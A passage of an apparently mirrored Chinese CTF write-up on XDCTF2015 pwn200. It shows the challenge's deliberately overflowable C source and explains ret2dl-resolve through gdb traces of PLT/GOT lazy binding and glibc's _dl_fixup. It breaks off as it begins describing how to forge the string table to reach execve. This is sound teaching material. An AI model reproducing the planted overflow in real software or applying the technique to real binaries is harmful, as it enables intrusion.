mirror of
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1143 lines
44 KiB
Markdown
1143 lines
44 KiB
Markdown
# 6.1.3 pwn XDCTF2015 pwn200
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- [题目复现](#题目复现)
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- [ret2dl-resolve 原理及题目解析](#ret2dlresolve-原理及题目解析)
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- [Exploit](#exploit)
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- [参考资料](#参考资料)
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[下载文件](../src/writeup/6.1.3_pwn_xdctf2015_pwn200)
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## 题目复现
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出题人在博客里贴出了源码，如下：
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```C
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#include <unistd.h>
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#include <stdio.h>
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#include <string.h>
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void vuln()
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{
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char buf[100];
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setbuf(stdin, buf);
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read(0, buf, 256);
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}
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int main()
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{
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char buf[100] = "Welcome to XDCTF2015~!\n";
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setbuf(stdout, buf);
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write(1, buf, strlen(buf));
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vuln();
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return 0;
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}
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```
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使用下面的语句编译：
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```
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$ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c
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```
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checksec 如下：
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```
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$ checksec -f a.out
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RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
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Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 1 a.out
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```
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在开启 ASLR 的情况下把程序运行起来：
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```
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$ socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
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```
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这题提供了二进制文件而没有提供 libc.so，而且也默认找不到，在章节 4.8 中我们提供了一种解法，这里我们讲解另一种。
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## ret2dl-resolve 原理及题目解析
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这种利用的技术是在 2015 年的论文 “How the ELF Ruined Christmas” 中提出的，论文地址在参考资料中。ret2dl-resolve 不需要信息泄露，而是通过动态装载器来直接标识关键函数的位置并调用它们。它可以绕过多种安全缓解措施，包括专门为保护 ELF 数据结构不被破坏而设计的 RELRO。而在 ctf 中，我们也能看到它的身影，通常用于对付无法获得目标系统 libc.so 的情况。
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#### 延迟绑定
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关于动态链接我们在章节 1.5.6 中已经讲过了，这里就重点讲一下动态解析的过程。我们知道，在动态链接中，如果程序没有开启 Full RELRO 保护，则存在延迟绑定的过程，即库函数在第一次被调用时才将函数的真正地址填入 GOT 表以完成绑定。
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一个动态链接程序的程序头表中会包含类型为 `PT_DYNAMIC` 的段，它包含了 `.dynamic` 段，结构如下：
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```C
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typedef struct
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{
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Elf32_Sword d_tag; /* Dynamic entry type */
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union
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{
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Elf32_Word d_val; /* Integer value */
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Elf32_Addr d_ptr; /* Address value */
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} d_un;
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} Elf32_Dyn;
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typedef struct
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{
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Elf64_Sxword d_tag; /* Dynamic entry type */
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union
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{
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Elf64_Xword d_val; /* Integer value */
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Elf64_Addr d_ptr; /* Address value */
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} d_un;
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} Elf64_Dyn;
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```
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一个 `Elf_Dyn` 是一个键值对，其中 `d_tag` 是键，`d_value` 是值。其中有个例外的条目是 `DT_DEBUG`，它保存了动态装载器内部数据结构的指针。
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段表结构如下：
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```C
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typedef struct
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{
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Elf32_Word sh_name; /* Section name (string tbl index) */
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Elf32_Word sh_type; /* Section type */
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Elf32_Word sh_flags; /* Section flags */
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Elf32_Addr sh_addr; /* Section virtual addr at execution */
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Elf32_Off sh_offset; /* Section file offset */
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Elf32_Word sh_size; /* Section size in bytes */
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Elf32_Word sh_link; /* Link to another section */
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Elf32_Word sh_info; /* Additional section information */
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Elf32_Word sh_addralign; /* Section alignment */
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Elf32_Word sh_entsize; /* Entry size if section holds table */
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} Elf32_Shdr;
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typedef struct
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{
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Elf64_Word sh_name; /* Section name (string tbl index) */
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Elf64_Word sh_type; /* Section type */
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Elf64_Xword sh_flags; /* Section flags */
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Elf64_Addr sh_addr; /* Section virtual addr at execution */
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Elf64_Off sh_offset; /* Section file offset */
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Elf64_Xword sh_size; /* Section size in bytes */
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Elf64_Word sh_link; /* Link to another section */
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Elf64_Word sh_info; /* Additional section information */
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Elf64_Xword sh_addralign; /* Section alignment */
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Elf64_Xword sh_entsize; /* Entry size if section holds table */
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} Elf64_Shdr;
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```
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具体来看，首先在 write@plt 地址处下断点，然后运行：
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```
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gdb-peda$ p write
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$1 = {<text variable, no debug info>} 0x8048430 <write@plt>
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gdb-peda$ b *0x8048430
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Breakpoint 1 at 0x8048430
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gdb-peda$ r
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Starting program: /home/firmy/Desktop/RE4B/200/a.out
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[----------------------------------registers-----------------------------------]
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EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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EBX: 0x804a000 --> 0x8049f04 --> 0x1
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ECX: 0x2a8c
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EDX: 0x3
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ESI: 0xf7f8ee28 --> 0x1d1d30
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EDI: 0xffffd620 --> 0x1
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EBP: 0xffffd638 --> 0x0
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ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
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EIP: 0x8048430 (<write@plt>: jmp DWORD PTR ds:0x804a01c)
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EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x8048420 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a018
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0x8048426 <__libc_start_main@plt+6>: push 0x18
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0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
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=> 0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
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| 0x8048436 <write@plt+6>: push 0x20
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| 0x804843b <write@plt+11>: jmp 0x80483e0
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| 0x8048440: jmp DWORD PTR ds:0x8049ff0
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| 0x8048446: xchg ax,ax
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|-> 0x8048436 <write@plt+6>: push 0x20
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0x804843b <write@plt+11>: jmp 0x80483e0
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0x8048440: jmp DWORD PTR ds:0x8049ff0
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0x8048446: xchg ax,ax
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JUMP is taken
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[------------------------------------stack-------------------------------------]
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0000| 0xffffd59c --> 0x804861b (add esp,0x10)
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0004| 0xffffd5a0 --> 0x1
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0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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0012| 0xffffd5a8 --> 0x17
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0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
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0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
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0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
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0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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Breakpoint 1, 0x08048430 in write@plt ()
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gdb-peda$ x/w 0x804a01c
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0x804a01c: 0x08048436
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```
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由于是第一次运行，尚未进行绑定，`0x804a01c` 地址处保存的是 write@plt+6 的地址 `0x8048436`，即跳转到下一条指令。
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将 `0x20` 压入栈中，这个数字是导入函数的标识，即一个 ELF_Rel 在 `.rel.plt` 中的偏移：
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```
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gdb-peda$ n
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[----------------------------------registers-----------------------------------]
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EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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EBX: 0x804a000 --> 0x8049f04 --> 0x1
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ECX: 0x2a8c
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EDX: 0x3
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ESI: 0xf7f8ee28 --> 0x1d1d30
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EDI: 0xffffd620 --> 0x1
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EBP: 0xffffd638 --> 0x0
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ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
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EIP: 0x8048436 (<write@plt+6>: push 0x20)
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EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x8048426 <__libc_start_main@plt+6>: push 0x18
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0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
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0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
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=> 0x8048436 <write@plt+6>: push 0x20
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0x804843b <write@plt+11>: jmp 0x80483e0
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0x8048440: jmp DWORD PTR ds:0x8049ff0
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0x8048446: xchg ax,ax
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0x8048448: add BYTE PTR [eax],al
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[------------------------------------stack-------------------------------------]
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0000| 0xffffd59c --> 0x804861b (add esp,0x10)
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0004| 0xffffd5a0 --> 0x1
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0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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0012| 0xffffd5a8 --> 0x17
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0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
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0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
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0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
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0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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0x08048436 in write@plt ()
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```
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然后跳转到 `0x80483e0`，该地址是 `.plt` 段的开头，即 PLT[0]：
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```
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gdb-peda$ n
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[----------------------------------registers-----------------------------------]
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EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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EBX: 0x804a000 --> 0x8049f04 --> 0x1
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ECX: 0x2a8c
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EDX: 0x3
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ESI: 0xf7f8ee28 --> 0x1d1d30
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EDI: 0xffffd620 --> 0x1
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EBP: 0xffffd638 --> 0x0
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ESP: 0xffffd598 --> 0x20 (' ')
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EIP: 0x804843b (<write@plt+11>: jmp 0x80483e0)
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EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0
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0x8048430 <write@plt>: jmp DWORD PTR ds:0x804a01c
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0x8048436 <write@plt+6>: push 0x20
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=> 0x804843b <write@plt+11>: jmp 0x80483e0
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| 0x8048440: jmp DWORD PTR ds:0x8049ff0
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| 0x8048446: xchg ax,ax
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| 0x8048448: add BYTE PTR [eax],al
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| 0x804844a: add BYTE PTR [eax],al
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|-> 0x80483e0: push DWORD PTR ds:0x804a004
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0x80483e6: jmp DWORD PTR ds:0x804a008
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0x80483ec: add BYTE PTR [eax],al
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0x80483ee: add BYTE PTR [eax],al
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JUMP is taken
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[------------------------------------stack-------------------------------------]
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0000| 0xffffd598 --> 0x20 (' ')
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0004| 0xffffd59c --> 0x804861b (add esp,0x10)
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0008| 0xffffd5a0 --> 0x1
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0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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0016| 0xffffd5a8 --> 0x17
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0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
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0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0
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0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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0x0804843b in write@plt ()
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```
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```
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$ readelf -S a.out | grep 80483e0
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[12] .plt PROGBITS 080483e0 0003e0 000060 04 AX 0 0 16
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```
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接下来就进入 PLT[0] 处的代码：
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```
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gdb-peda$ n
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[----------------------------------registers-----------------------------------]
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EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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EBX: 0x804a000 --> 0x8049f04 --> 0x1
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ECX: 0x2a8c
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EDX: 0x3
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ESI: 0xf7f8ee28 --> 0x1d1d30
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EDI: 0xffffd620 --> 0x1
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EBP: 0xffffd638 --> 0x0
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ESP: 0xffffd598 --> 0x20 (' ')
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EIP: 0x80483e0 (push DWORD PTR ds:0x804a004)
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EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
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[-------------------------------------code-------------------------------------]
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=> 0x80483e0: push DWORD PTR ds:0x804a004
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0x80483e6: jmp DWORD PTR ds:0x804a008
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0x80483ec: add BYTE PTR [eax],al
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0x80483ee: add BYTE PTR [eax],al
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[------------------------------------stack-------------------------------------]
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0000| 0xffffd598 --> 0x20 (' ')
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0004| 0xffffd59c --> 0x804861b (add esp,0x10)
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0008| 0xffffd5a0 --> 0x1
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0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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0016| 0xffffd5a8 --> 0x17
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0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
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0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0
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0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
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[------------------------------------------------------------------------------]
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Legend: code, data, rodata, value
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0x080483e0 in ?? ()
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gdb-peda$ x/w 0x804a004
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0x804a004: 0xf7ffd900
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gdb-peda$ x/w 0x804a008
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0x804a008: 0xf7fec370
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```
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```
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$ readelf -S a.out | grep .got.plt
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[23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4
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```
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看一下 `.got.plt` 段，所以 `0x804a004` 和 `0x804a008` 分别是 GOT[1] 和 GOT[2]。继续调试：
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```
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gdb-peda$ n
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[----------------------------------registers-----------------------------------]
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EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
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EBX: 0x804a000 --> 0x8049f04 --> 0x1
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ECX: 0x2a8c
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EDX: 0x3
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ESI: 0xf7f8ee28 --> 0x1d1d30
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EDI: 0xffffd620 --> 0x1
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EBP: 0xffffd638 --> 0x0
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ESP: 0xffffd594 --> 0xf7ffd900 --> 0x0
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EIP: 0x80483e6 (jmp DWORD PTR ds:0x804a008)
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EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
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[-------------------------------------code-------------------------------------]
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0x80483dd: add BYTE PTR [eax],al
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0x80483df: add bh,bh
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0x80483e1: xor eax,0x804a004
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=> 0x80483e6: jmp DWORD PTR ds:0x804a008
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| 0x80483ec: add BYTE PTR [eax],al
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| 0x80483ee: add BYTE PTR [eax],al
|
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| 0x80483f0 <setbuf@plt>: jmp DWORD PTR ds:0x804a00c
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| 0x80483f6 <setbuf@plt+6>: push 0x0
|
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|-> 0xf7fec370 <_dl_runtime_resolve>: push eax
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0xf7fec371 <_dl_runtime_resolve+1>: push ecx
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0xf7fec372 <_dl_runtime_resolve+2>: push edx
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0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
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JUMP is taken
|
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[------------------------------------stack-------------------------------------]
|
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0000| 0xffffd594 --> 0xf7ffd900 --> 0x0
|
||
0004| 0xffffd598 --> 0x20 (' ')
|
||
0008| 0xffffd59c --> 0x804861b (add esp,0x10)
|
||
0012| 0xffffd5a0 --> 0x1
|
||
0016| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
|
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0020| 0xffffd5a8 --> 0x17
|
||
0024| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
|
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0028| 0xffffd5b0 --> 0xffffd5ea --> 0x0
|
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[------------------------------------------------------------------------------]
|
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Legend: code, data, rodata, value
|
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0x080483e6 in ?? ()
|
||
```
|
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PLT[0] 处的代码将 GOT[1] 的值压入栈中，然后跳转到 GOT[2]。这两个 GOT 表条目有着特殊的含义，动态链接器在开始时给它们填充了特殊的内容：
|
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- GOT[1]：一个指向内部数据结构的指针，类型是 link_map，在动态装载器内部使用，包含了进行符号解析需要的当前 ELF 对象的信息。在它的 `l_info` 域中保存了 `.dynamic` 段中大多数条目的指针构成的一个数组，我们后面会利用它。
|
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- GOT[2]：一个指向动态装载器中 `_dl_runtime_resolve` 函数的指针。
|
||
|
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函数使用参数 `link_map_obj` 来获取解析导入函数（使用`reloc_index`参数标识）需要的信息，并将结果写到正确的 GOT 条目中。在 `_dl_runtime_resolve` 解析完成后，控制流就交到了那个函数手里，而下次再调用函数的 plt 时，就会直接进入目标函数中执行。
|
||
|
||
`_dl-runtime-resolve` 的过程如下图所示：
|
||
|
||
|
||
|
||
重定位项使用 Elf_Rel 结构体来描述，存在于 `.rep.plt` 段和 `.rel.dyn` 段中：
|
||
```C
|
||
typedef uint32_t Elf32_Addr;
|
||
typedef uint32_t Elf32_Word;
|
||
|
||
typedef struct
|
||
{
|
||
Elf32_Addr r_offset; /* Address */
|
||
Elf32_Word r_info; /* Relocation type and symbol index */
|
||
} Elf32_Rel;
|
||
|
||
typedef uint64_t Elf64_Addr;
|
||
typedef uint64_t Elf64_Xword;
|
||
typedef int64_t Elf64_Sxword;
|
||
|
||
typedef struct
|
||
{
|
||
Elf64_Addr r_offset; /* Address */
|
||
Elf64_Xword r_info; /* Relocation type and symbol index */
|
||
Elf64_Sxword r_addend; /* Addend */
|
||
} Elf64_Rela;
|
||
```
|
||
32 位程序使用 REL，而 64 位程序使用 RELA。
|
||
|
||
下面的宏描述了 r_info 是怎样被解析和插入的：
|
||
```C
|
||
/* How to extract and insert information held in the r_info field. */
|
||
|
||
#define ELF32_R_SYM(val) ((val) >> 8)
|
||
#define ELF32_R_TYPE(val) ((val) & 0xff)
|
||
#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff))
|
||
|
||
#define ELF64_R_SYM(i) ((i) >> 32)
|
||
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
|
||
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))
|
||
```
|
||
举个例子：
|
||
```
|
||
ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8
|
||
```
|
||
|
||
每个符号使用 Elf_Sym 结构体来描述，存在于 `.dynsym` 段和 `.symtab` 段中，而 `.symtab` 在 strip 之后会被删掉：
|
||
```C
|
||
typedef struct
|
||
{
|
||
Elf32_Word st_name; /* Symbol name (string tbl index) */
|
||
Elf32_Addr st_value; /* Symbol value */
|
||
Elf32_Word st_size; /* Symbol size */
|
||
unsigned char st_info; /* Symbol type and binding */
|
||
unsigned char st_other; /* Symbol visibility */
|
||
Elf32_Section st_shndx; /* Section index */
|
||
} Elf32_Sym;
|
||
|
||
typedef struct
|
||
{
|
||
Elf64_Word st_name; /* Symbol name (string tbl index) */
|
||
unsigned char st_info; /* Symbol type and binding */
|
||
unsigned char st_other; /* Symbol visibility */
|
||
Elf64_Section st_shndx; /* Section index */
|
||
Elf64_Addr st_value; /* Symbol value */
|
||
Elf64_Xword st_size; /* Symbol size */
|
||
} Elf64_Sym;
|
||
```
|
||
下面的宏描述了 st_info 是怎样被解析和插入的：
|
||
```C
|
||
/* How to extract and insert information held in the st_info field. */
|
||
|
||
#define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4)
|
||
#define ELF32_ST_TYPE(val) ((val) & 0xf)
|
||
#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))
|
||
|
||
/* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field. */
|
||
#define ELF64_ST_BIND(val) ELF32_ST_BIND (val)
|
||
#define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val)
|
||
#define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type))
|
||
```
|
||
|
||
所以 PLT[0] 其实就是调用的以下函数：
|
||
```
|
||
_dl_runtime_resolve(link_map_obj, reloc_index)
|
||
```
|
||
```
|
||
gdb-peda$ disassemble 0xf7fec370
|
||
Dump of assembler code for function _dl_runtime_resolve:
|
||
0xf7fec370 <+0>: push eax
|
||
0xf7fec371 <+1>: push ecx
|
||
0xf7fec372 <+2>: push edx
|
||
0xf7fec373 <+3>: mov edx,DWORD PTR [esp+0x10]
|
||
0xf7fec377 <+7>: mov eax,DWORD PTR [esp+0xc]
|
||
0xf7fec37b <+11>: call 0xf7fe6080 <_dl_fixup>
|
||
0xf7fec380 <+16>: pop edx
|
||
0xf7fec381 <+17>: mov ecx,DWORD PTR [esp]
|
||
0xf7fec384 <+20>: mov DWORD PTR [esp],eax
|
||
0xf7fec387 <+23>: mov eax,DWORD PTR [esp+0x4]
|
||
0xf7fec38b <+27>: ret 0xc
|
||
End of assembler dump.
|
||
```
|
||
该函数在 `glibc/sysdeps/i386/dl-trampoline.S` 中用汇编实现，先保存寄存器，然后将两个值分别传入寄存器，调用 `_dl_fixup`，最后恢复寄存器：
|
||
```
|
||
gdb-peda$ x/w $esp+0x10
|
||
0xffffd598: 0x00000020
|
||
gdb-peda$ x/w $esp+0xc
|
||
0xffffd594: 0xf7ffd900
|
||
```
|
||
还记得这两个值吗，一个是在 `<write@plt+6>: push 0x20` 中压入的偏移量，一个是 PLT[0] 中 `push DWORD PTR ds:0x804a004` 压入的 GOT[1]。
|
||
|
||
函数 `_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)`，其参数分别由寄存器 `eax` 和 `edx` 提供。继续调试：
|
||
```
|
||
gdb-peda$ n
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xf7ffd900 --> 0x0
|
||
EBX: 0x804a000 --> 0x8049f04 --> 0x1
|
||
ECX: 0x2a8c
|
||
EDX: 0x20 (' ')
|
||
ESI: 0xf7f8ee28 --> 0x1d1d30
|
||
EDI: 0xffffd620 --> 0x1
|
||
EBP: 0xffffd638 --> 0x0
|
||
ESP: 0xffffd588 --> 0x3
|
||
EIP: 0xf7fec37b (<_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>)
|
||
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0xf7fec372 <_dl_runtime_resolve+2>: push edx
|
||
0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
|
||
0xf7fec377 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc]
|
||
=> 0xf7fec37b <_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>
|
||
0xf7fec380 <_dl_runtime_resolve+16>: pop edx
|
||
0xf7fec381 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp]
|
||
0xf7fec384 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax
|
||
0xf7fec387 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4]
|
||
Guessed arguments:
|
||
arg[0]: 0x3
|
||
arg[1]: 0x2a8c
|
||
arg[2]: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd588 --> 0x3
|
||
0004| 0xffffd58c --> 0x2a8c
|
||
0008| 0xffffd590 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
|
||
0012| 0xffffd594 --> 0xf7ffd900 --> 0x0
|
||
0016| 0xffffd598 --> 0x20 (' ')
|
||
0020| 0xffffd59c --> 0x804861b (add esp,0x10)
|
||
0024| 0xffffd5a0 --> 0x1
|
||
0028| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0xf7fec37b in _dl_runtime_resolve () from /lib/ld-linux.so.2
|
||
gdb-peda$ s
|
||
[----------------------------------registers-----------------------------------]
|
||
EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n")
|
||
EBX: 0x804a000 --> 0x8049f04 --> 0x1
|
||
ECX: 0x2a8c
|
||
EDX: 0x3
|
||
ESI: 0xf7f8ee28 --> 0x1d1d30
|
||
EDI: 0xffffd620 --> 0x1
|
||
EBP: 0xffffd638 --> 0x0
|
||
ESP: 0xffffd59c --> 0x804861b (add esp,0x10)
|
||
EIP: 0xf7ea3100 (<write>: push esi)
|
||
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||
[-------------------------------------code-------------------------------------]
|
||
0xf7ea30fb: xchg ax,ax
|
||
0xf7ea30fd: xchg ax,ax
|
||
0xf7ea30ff: nop
|
||
=> 0xf7ea3100 <write>: push esi
|
||
0xf7ea3101 <write+1>: push ebx
|
||
0xf7ea3102 <write+2>: sub esp,0x14
|
||
0xf7ea3105 <write+5>: mov ebx,DWORD PTR [esp+0x20]
|
||
0xf7ea3109 <write+9>: mov ecx,DWORD PTR [esp+0x24]
|
||
[------------------------------------stack-------------------------------------]
|
||
0000| 0xffffd59c --> 0x804861b (add esp,0x10)
|
||
0004| 0xffffd5a0 --> 0x1
|
||
0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n")
|
||
0012| 0xffffd5a8 --> 0x17
|
||
0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c)
|
||
0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0
|
||
0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6
|
||
0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<')
|
||
[------------------------------------------------------------------------------]
|
||
Legend: code, data, rodata, value
|
||
0xf7ea3100 in write () from /usr/lib32/libc.so.6
|
||
```
|
||
即使我们使用单步进入，也不能调试 `_dl_fixup`，它直接就执行完成并跳转到 write 函数了，而此时，GOT 的地址已经被覆盖为实际地址：
|
||
```
|
||
gdb-peda$ x/w 0x804a01c
|
||
0x804a01c: 0xf7ea3100
|
||
```
|
||
|
||
再强调一遍：fixup 是通过寄存器取参数的，这似乎违背了 32 位程序的调用约定，但它就是这样，上面 gdb 中显示的参数是错误的，该函数对程序员来说是透明的，所以会尽量少用栈去做操作。
|
||
|
||
既然不能调试，直接看代码吧，在 `glibc/elf/dl-runtime.c` 中：
|
||
```C
|
||
DL_FIXUP_VALUE_TYPE
|
||
attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE
|
||
_dl_fixup (
|
||
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
|
||
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
|
||
# endif
|
||
struct link_map *l, ElfW(Word) reloc_arg)
|
||
{
|
||
// 分别获取动态链接符号表和动态链接字符串表的基址
|
||
const ElfW(Sym) *const symtab
|
||
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
|
||
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
|
||
|
||
// 通过参数 reloc_arg 计算重定位入口，这里的 DT_JMPREL 即 .rel.plt，reloc_offset 即 reloc_arg
|
||
const PLTREL *const reloc
|
||
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
|
||
|
||
// 根据函数重定位表中的动态链接符号表索引，即 reloc->r_info，获取函数在动态链接符号表中对应的条目
|
||
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
|
||
const ElfW(Sym) *refsym = sym;
|
||
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
|
||
lookup_t result;
|
||
DL_FIXUP_VALUE_TYPE value;
|
||
|
||
/* Sanity check that we're really looking at a PLT relocation. */
|
||
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
|
||
|
||
/* Look up the target symbol. If the normal lookup rules are not
|
||
used don't look in the global scope. */
|
||
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
|
||
{
|
||
const struct r_found_version *version = NULL;
|
||
|
||
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
|
||
{
|
||
const ElfW(Half) *vernum =
|
||
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
|
||
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
|
||
version = &l->l_versions[ndx];
|
||
if (version->hash == 0)
|
||
version = NULL;
|
||
}
|
||
|
||
/* We need to keep the scope around so do some locking. This is
|
||
not necessary for objects which cannot be unloaded or when
|
||
we are not using any threads (yet). */
|
||
int flags = DL_LOOKUP_ADD_DEPENDENCY;
|
||
if (!RTLD_SINGLE_THREAD_P)
|
||
{
|
||
THREAD_GSCOPE_SET_FLAG ();
|
||
flags |= DL_LOOKUP_GSCOPE_LOCK;
|
||
}
|
||
|
||
#ifdef RTLD_ENABLE_FOREIGN_CALL
|
||
RTLD_ENABLE_FOREIGN_CALL;
|
||
#endif
|
||
// 根据 strtab+sym->st_name 在字符串表中找到函数名，然后进行符号查找获取 libc 基址 result
|
||
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
|
||
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
|
||
|
||
/* We are done with the global scope. */
|
||
if (!RTLD_SINGLE_THREAD_P)
|
||
THREAD_GSCOPE_RESET_FLAG ();
|
||
|
||
#ifdef RTLD_FINALIZE_FOREIGN_CALL
|
||
RTLD_FINALIZE_FOREIGN_CALL;
|
||
#endif
|
||
|
||
/* Currently result contains the base load address (or link map)
|
||
of the object that defines sym. Now add in the symbol
|
||
offset. */
|
||
|
||
// 将要解析的函数的偏移地址加上 libc 基址，得到函数的实际地址
|
||
value = DL_FIXUP_MAKE_VALUE (result,
|
||
sym ? (LOOKUP_VALUE_ADDRESS (result)
|
||
+ sym->st_value) : 0);
|
||
}
|
||
else
|
||
{
|
||
/* We already found the symbol. The module (and therefore its load
|
||
address) is also known. */
|
||
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
|
||
result = l;
|
||
}
|
||
|
||
/* And now perhaps the relocation addend. */
|
||
value = elf_machine_plt_value (l, reloc, value);
|
||
|
||
// 将已经解析完成的函数地址写入相应的 GOT 表中
|
||
if (sym != NULL
|
||
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
|
||
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
|
||
|
||
/* Finally, fix up the plt itself. */
|
||
if (__glibc_unlikely (GLRO(dl_bind_not)))
|
||
return value;
|
||
|
||
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
|
||
}
|
||
```
|
||
|
||
#### 攻击
|
||
关于延迟绑定的攻击，在于强迫动态装载器解析请求的函数。
|
||
|
||
|
||
|
||
- 图a中，因为动态转载器是从 `.dynamic` 段的 `DT_STRTAB` 条目中获得 `.dynstr` 段的地址的，而 `DT_STRTAB` 条目的位置已知，默认情况下也可写。所以攻击者能够改写 `DT_STRTAB` 条目的内容，欺骗动态装载器，让它以为 `.dynstr` 段在 `.bss` 段中，并在那里伪造一个假的字符串表。当它尝试解析 printf 时会使用不同的基地址来寻找函数名，最终执行的是 execve。这种方式非常简单，但仅当二进制程序的 `.dynamic` 段可写时有效。
|
||
